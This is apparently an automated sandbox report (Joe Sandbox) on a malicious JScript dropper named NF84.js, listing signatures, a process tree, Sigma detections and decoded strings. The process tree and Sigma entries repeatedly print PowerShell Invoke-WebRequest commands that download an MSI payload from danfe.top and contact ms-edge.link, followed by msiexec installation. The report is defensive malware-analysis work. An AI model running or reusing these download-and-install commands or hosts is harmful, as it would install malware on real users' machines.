Edit tour

Windows Analysis Report
NF84.js

Overview

General Information

Sample name:	NF84.js
Analysis ID:	1516334
MD5:	a3f5b1bed67c38b16b92cf4cc27a8309
SHA1:	15f9f702e5814b5af5186bcfd56129138ff09645
SHA256:	d932fc1c5dad9d3bd1aa6d57dc1312c2643e640925deadb398f20869ec65ea12
Tags:	jsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Machine Learning detection for dropped file

PE file has nameless sections

Potential obfuscated javascript found

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks for available system drives (often done to infect USB drives)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

JavaScript source code contains large arrays or strings with random content potentially encoding malicious code

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6732 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

chrome.exe (PID: 1452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5600 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,12890358497683142994,16358614745518682558,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

powershell.exe (PID: 7000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7556 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\Updateizpy.msi" MD5: E5DA170027542E25EDE42FC54C929077)

powershell.exe (PID: 5116 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4724 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 2856 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 97A876E29032D56FD3BEF2306B300FAD MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", ProcessId: 7000, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ProcessId: 6732, ProcessName: wscript.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", ProcessId: 7000, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", ProcessId: 7000, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ProcessId: 6732, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'", ProcessId: 7000, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll

Virustotal: Detection: 17%

Perma Link

Multi AV Scanner detection for submitted file

Source: NF84.js

Virustotal: Detection: 7%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll

Joe Sandbox ML: detected

Source: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	HTTP Parser: No favicon
Source: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	HTTP Parser: No favicon
Source: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	HTTP Parser: No favicon
Source: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	HTTP Parser: No favicon
Source: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49747 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.9:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.178:443 -> 192.168.2.9:49756 version: TLS 1.2

Source:

Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: Updatee43o.msi.5.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: NF84.js	Return value : ['"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R']	Go to definition
Source: NF84.js	Argument value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi']	Go to definition
Source: NF84.js	Return value : ['"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
